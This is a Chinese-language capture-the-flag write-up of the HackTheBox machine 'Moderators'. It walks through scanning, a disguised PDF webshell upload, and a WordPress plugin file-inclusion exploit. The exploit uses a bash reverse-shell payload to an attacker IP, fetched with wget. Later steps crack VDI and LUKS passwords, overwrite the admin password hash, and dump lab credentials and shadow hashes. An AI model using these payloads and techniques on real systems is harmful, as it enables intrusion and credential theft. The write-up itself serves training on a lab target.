基本信息

https://www.hackthebox.com/home/machines/profile/485
10.10.11.173

端口扫描

22和80:

$ nmap -sC -sV -Pn 10.10.11.173
Starting Nmap 7.93 ( https://nmap.org ) at 2022-09-29 13:20 CST
Nmap scan report for 10.10.11.173
Host is up (0.19s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 390316061130a0b0c2917988d3931b3e (RSA)
|   256 51945c593bbdbcb6267aef837f4cca7d (ECDSA)
|_  256 a56d03fa6cf5b94aa2a1b6bdbc604231 (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Moderators
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 74.59 seconds

80

某安全公司官网之类的：

公开有几份report，可以知道参数格式：

目录扫描

扫描发现一个logs目录，直接访问是空白:

$ gobuster dir -w ~/Tools/dict/SecLists/Discovery/Web-Content/common.txt  -t 50 -u http://10.10.11.173/ -x html,txt,php

/about.php            (Status: 200) [Size: 11539]
/blog.php             (Status: 200) [Size: 13163]
/contact.php          (Status: 200) [Size: 10084]
/css                  (Status: 301) [Size: 310] [--> http://10.10.11.173/css/]
/images               (Status: 301) [Size: 313] [--> http://10.10.11.173/images/]
/index.php            (Status: 200) [Size: 11150]
/logs                 (Status: 301) [Size: 311] [--> http://10.10.11.173/logs/]
/reports.php          (Status: 302) [Size: 7888] [--> index.php]
/service.php          (Status: 200) [Size: 9411]

logs

logs目录继续扫描发现uploads:

1
2
3

gobuster dir -w ~/Tools/dict/SecLists/Discovery/Web-Content/common.txt  -t 50 -u http://10.10.11.173/logs/

/uploads              (Status: 301) [Size: 319] [--> http://10.10.11.173/logs/uploads/]

report FUZZ

根据上面的格式fuzz，发现一些未公开的report：

ffuf -w ~/Tools/dict/SecLists/Fuzzing/4-digits-0000-9999.txt -u "http://10.10.11.173/reports.php?report=FUZZ" -fs 7888

2589                    [Status: 200, Size: 9786, Words: 3714, Lines: 275, Duration: 213ms]
3478                    [Status: 200, Size: 9831, Words: 3740, Lines: 276, Duration: 204ms]
4221                    [Status: 200, Size: 9880, Words: 3811, Lines: 274, Duration: 200ms]
4750                    [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 5392ms]
7612                    [Status: 200, Size: 9790, Words: 3704, Lines: 276, Duration: 807ms]
8121                    [Status: 200, Size: 9784, Words: 3723, Lines: 274, Duration: 195ms]
9798                    [Status: 200, Size: 9887, Words: 3771, Lines: 277, Duration: 194ms]

9798

9798中得到logs下路径，就是report id的md5:

1 2	$ echo -n 9798 \| md5sum e21cece511f43a5cb18d4932429915ed -

2589

2589对应md5目录下继续探测发现logs.pdf(坑，没提示完全想不到):

$ echo -n 2589 | md5sum
743c41a921516b04afde48bb48e28ce6  -

http://10.10.11.173/logs/743c41a921516b04afde48bb48e28ce6/logs.pdf

文件给出上传途径：

upload

文件上传绕过一些pdf相关校验成功上传pdf，路径结合前面的信息可以猜到在uploads目录下，禁用了很多函数：

webshell

蚁剑秒了：

信息

简单的枚举，发现本地8080端口，转发出来访问：

8080

# local
./chisel_1.7.0-rc7_darwin_amd64 server -p 8000 --reverse

# target
./chisel_1.7.6_linux_amd64 client 10.10.14.19:8000 R:8080:127.0.0.1:8080 &

是一个wordpress,需要改一下hosts，因为现在是本地端口访问：

1	127.0.0.1 moderators.htb

结合服务器上信息，发现存在漏洞的插件：

WordPress Plugin Brandfolder 3.0 - Local/Remote File Inclusion - PHP webapps Exploit
https://www.exploit-db.com/exploits/39591

wordpress exploit

不能RFI，直接本地写个php文件之后LFI即可得到lexi用户shell

1
2
3

wget http://10.10.14.19:7777/wp-load.php

curl "http://localhost:8080/wp-content/plugins/brandfolder/callback.php?wp_abspath=/var/www/html/logs/uploads/"

lexi用户目录可以拿到私钥，方便后续操作：

wp-load.php

1	<?php system("bash -c 'bash -i >& /dev/tcp/10.10.14.19/4444 0>&1'"); ?>

lexi_id_rsa

user flag

lexi用户目录，user.txt:

信息

wp-config.php中得到数据库密码，数据库直接修改wordpress用户密码登录wp后台:

define( 'DB_NAME', 'wordpress' );

/** MySQL database username */
define( 'DB_USER', 'wordpressuser' );

/** MySQL database password */
define( 'DB_PASSWORD', 'wordpresspassword123!!' );

mysql -Dwordpress -uwordpressuser -p'wordpresspassword123!!'

UPDATE `wp_users` SET `user_pass` = '$P$BIsDcvvyUHRF.QKXlJzhA9.kgCsuxL/' WHERE user_login = 'admin';

# 明文是password

Generador de hash de contraseña de WordPress
https://www.useotools.com/es/wordpress-password-hash-generator/

wordpress

登录进去后，pwdms中得到john的私钥和carl账号密码：

1 2	carl@moderators.htb Carl@thebest**

john_id_rsa

John

现在可以登录john用户继续进行后续操作,发现VBOX相关文件：

vdi crack

后续操作需要virtualbox，参考wp云了(论坛也一致认为root部分很蠢，这台机器的评分也说明了这一点)：

首先修改vbox文件,对应本地路径等信息

然后破解vdi密码

axcheron/pyvboxdie-cracker: Simple Python tool to crack VirtualBox Disk Image Encryption passwords
https://github.com/axcheron/pyvboxdie-cracker

❯ python3 pyvboxdie-cracker.py -v 2019-08-01.vbox -d wordlist.txt
Starting pyvboxdie-cracker...

[*] Encrypted drive found :  F:/2019.vdi
[*] KeyStore information...
 Algorithm = AES-XTS256-PLAIN64
 Hash = PBKDF2-SHA256
 Final Hash = 5442057bc804a3a914607decea5574aa7038cdce0d498c7fc434afe8cd5b244f

[*] Starting bruteforce...
 51 password tested...

[*] Password Found = computer

对于接下来的内容，请记住安装 virtualbox 扩展包

一旦我们安装了 ubuntu 并添加了 vdi，我们必须启用我们之前看到的加密

当试图将它挂载到 /dev/shm 时，我们会得到一个 crypto_LUKS 类型的错误

1
2
3

ubuntu@ubuntu:~$ sudo mount /dev/sda /dev/shm
mount: /dev/shm: unknown filesystem type 'crypto_LUKS'
ubuntu@ubuntu:~$

我们可以用一个工具来帮助自己获取密码:

Diverto/cryptsetup-pwguess: Modified cryptsetup to enable password guessing - https://diverto.github.io/2019/11/18/Cracking-LUKS-passphrases
https://github.com/Diverto/cryptsetup-pwguess

1
2
3

ubuntu@ubuntu:~$ ./bruteforce-luks-static-linux-amd64 -f wordlist.txt /dev/sda
Password found: abc123
ubuntu@ubuntu:~$

安装后，我们会找到几个脚本，包括带有密码的 distro_update.sh

echo ""
echo "Installing updates.."
passwd='$_THE_best_Sysadmin_Ever_'
echo $passwd|sudo apt-get update

echo "Upgrading..."
echo $passwd|sudo apt-get -y upgrade

changed_vbox

<?xml version="1.0"?>
<!--
** DO NOT EDIT THIS FILE.
** If you make changes to this file while any VirtualBox related application
** is running, your changes will be overwritten later, without taking effect.
** Use VBoxManage or the VirtualBox Manager GUI to make changes.
-->
<VirtualBox xmlns="http://www.virtualbox.org/" version="1.16-windows">
  <Machine uuid="{528b3540-b8be-4677-b43f-7f4969137747}" name="Moderator 1" OSType="Ubuntu_64" snapshotFolder="Snapshots" lastStateChange="2022-08-11T19:20:46Z">
    <MediaRegistry>
      <HardDisks>
        <HardDisk uuid="{12b147da-5b2d-471f-9e32-a32b1517ff4b}" location="./2019.vdi" format="VDI" type="Normal">
          <Property name="CRYPT/KeyId" value="Moderator 1"/>
          <Property name="CRYPT/KeyStore" value="U0NORQABQUVTLVhUUzI1Ni1QTEFJTjY0AAAAAAAAAAAAAAAAAABQQktERjItU0hB&#13;&#10;MjU2AAAAAAAAAAAAAAAAAAAAAAAAAEAAAADssBk3IXYOVlXkLWlDd8JCJ8ZUN8FC&#13;&#10;kVQY8Ovl9vXMMyAAAABu5KwY/KgMH20LHptIADnZJ6gRrgSFLm+s6eJEaJx+ziBO&#13;&#10;AAByl/CysecMVxqIA8QKkYqCcCT+RiMz7PJCBnJ+/oGFI2DqAABAAAAAKGFz0b7a&#13;&#10;q8cFTdpSCXUCgvz+yFWcIi1i2jYow1/CS0CEEATdrtbMxzzANgoenuThAceBWSUQ&#13;&#10;FqJ4CioY8Qm3BA=="/>
        </HardDisk>
      </HardDisks>
    </MediaRegistry>
    <ExtraData>
      <ExtraDataItem name="GUI/LastCloseAction" value="PowerOff"/>
      <ExtraDataItem name="GUI/LastGuestSizeHint" value="2560,1335"/>
      <ExtraDataItem name="GUI/LastNormalWindowPosition" value="0,23,640,480,max"/>
    </ExtraData>
    <Hardware>
      <CPU count="2">
        <PAE enabled="false"/>
        <LongMode enabled="true"/>
        <X2APIC enabled="true"/>
        <HardwareVirtExLargePages enabled="true"/>
      </CPU>
      <Memory RAMSize="2048"/>
      <HID Pointing="USBTablet"/>
      <Boot>
        <Order position="1" device="Floppy"/>
        <Order position="2" device="HardDisk"/>
        <Order position="3" device="DVD"/>
        <Order position="4" device="None"/>
      </Boot>
      <Display controller="VMSVGA" VRAMSize="128" accelerate3D="true"/>
      <BIOS>
        <IOAPIC enabled="true"/>
        <SmbiosUuidLittleEndian enabled="true"/>
      </BIOS>
      <USB>
        <Controllers>
          <Controller name="OHCI" type="OHCI"/>
          <Controller name="EHCI" type="EHCI"/>
        </Controllers>
      </USB>
      <Network>
        <Adapter slot="0" enabled="true" MACAddress="08002799F7EC" type="82540EM">
          <NAT/>
        </Adapter>
      </Network>
      <AudioAdapter codec="AD1980" driver="DirectSound" enabled="true" enabledIn="false"/>
      <RTC localOrUTC="UTC"/>
      <Clipboard/>
      <GuestProperties>
        <GuestProperty name="/VirtualBox/GuestAdd/HostVerLastChecked" value="6.1.34" timestamp="1657117437893678100" flags=""/>
        <GuestProperty name="/VirtualBox/GuestAdd/Revision" value="150636" timestamp="1657117380950198406" flags=""/>
        <GuestProperty name="/VirtualBox/GuestAdd/Version" value="6.1.34" timestamp="1657117380950198404" flags=""/>
        <GuestProperty name="/VirtualBox/GuestAdd/VersionExt" value="6.1.34" timestamp="1657117380950198405" flags=""/>
        <GuestProperty name="/VirtualBox/GuestInfo/Net/0/MAC" value="08002799F7EC" timestamp="1657117380952151105" flags=""/>
        <GuestProperty name="/VirtualBox/GuestInfo/Net/0/Name" value="enp0s3" timestamp="1657117380952151107" flags=""/>
        <GuestProperty name="/VirtualBox/GuestInfo/Net/0/Status" value="Up" timestamp="1657117380952151106" flags=""/>
        <GuestProperty name="/VirtualBox/GuestInfo/Net/0/V4/Broadcast" value="10.0.2.255" timestamp="1657117380952151103" flags=""/>
        <GuestProperty name="/VirtualBox/GuestInfo/Net/0/V4/IP" value="10.0.2.15" timestamp="1657117380952151102" flags=""/>
        <GuestProperty name="/VirtualBox/GuestInfo/Net/0/V4/Netmask" value="255.255.255.0" timestamp="1657117380952151104" flags=""/>
        <GuestProperty name="/VirtualBox/GuestInfo/Net/Count" value="1" timestamp="1657117646084736900" flags=""/>
        <GuestProperty name="/VirtualBox/GuestInfo/OS/Product" value="Linux" timestamp="1657117380950198400" flags=""/>
        <GuestProperty name="/VirtualBox/GuestInfo/OS/Release" value="5.15.0-40-generic" timestamp="1657117380950198401" flags=""/>
        <GuestProperty name="/VirtualBox/GuestInfo/OS/Version" value="#43-Ubuntu SMP Wed Jun 15 12:54:21 UTC 2022" timestamp="1657117380950198402" flags=""/> 
        <GuestProperty name="/VirtualBox/HostInfo/DekMissing" value="1" timestamp="1660245560293252500" flags="RDONLYGUEST"/>
        <GuestProperty name="/VirtualBox/HostInfo/GUI/LanguageID" value="es_ES" timestamp="1660245647071532000" flags=""/>
      </GuestProperties>
    </Hardware>
    <StorageControllers>
      <StorageController name="AHCI" type="AHCI" PortCount="3" useHostIOCache="false" Bootable="true" IDE0MasterEmulationPort="0" IDE0SlaveEmulationPort="1" IDE1MasterEmulationPort="2" IDE1SlaveEmulationPort="3">
        <AttachedDevice type="HardDisk" hotpluggable="false" port="0" device="0">
          <Image uuid="{12b147da-5b2d-471f-9e32-a32b1517ff4b}"/>
        </AttachedDevice>
      </StorageController>
    </StorageControllers>
    <VideoCapture options="vc_enabled=true,ac_enabled=true,ac_profile=med" fps="25"/>
  </Machine>
</VirtualBox>

提权 & root flag

前面得到的密码就是john密码，在 sudoers 级别具有 ALL：

1	$_THE_best_Sysadmin_Ever_

shadow

1
2
3

root:$6$aqIOGu.rJRXjVGgt$lN7qDpHZdrBxEcRi4VxcJt4dpNXwmxLsO7mTliULzPVcJyy5OPxLP3SmvgcprzkeZLbX.lPrqEg3JYYyV3Ayo0:19021:0:99999:7:::
john:$6$PK0A253j816qSMhV$4Oy/1b8vR6K1XDcvBMzAVZn.MOVLiBWDHOugQorKdhVBnbi1o.fSKcSzrltl9z7hiGekw6bkt18XH14e0ALTC0:18890:0:99999:7:::
lexi:$6$IXHONvrvfEmCO7dH$banmCiCTcf7rcYWQr7jn3GkYeRpfQYWxafrlhhpcpdOfqkMwBEpFXVinENnfhEa3EdiE92v30PBhp6GqF6w67/:18890:0:99999:7:::

参考资料

WordPress Plugin Brandfolder 3.0 - Local/Remote File Inclusion - PHP webapps Exploit
https://www.exploit-db.com/exploits/39591
Generador de hash de contraseña de WordPress
https://www.useotools.com/es/wordpress-password-hash-generator/
axcheron/pyvboxdie-cracker: Simple Python tool to crack VirtualBox Disk Image Encryption passwords
https://github.com/axcheron/pyvboxdie-cracker
Diverto/cryptsetup-pwguess: Modified cryptsetup to enable password guessing - https://diverto.github.io/2019/11/18/Cracking-LUKS-passphrases
https://github.com/Diverto/cryptsetup-pwguess
Moderators-HTB [Discussion] | BreachForums
https://breached.to/Thread-Moderators-HTB-Discussion
Writeup Moderators HackTheBox
https://gatogamer1155.github.io/hackthebox/moderators/

Moderators - HackTheBox

2022-09-29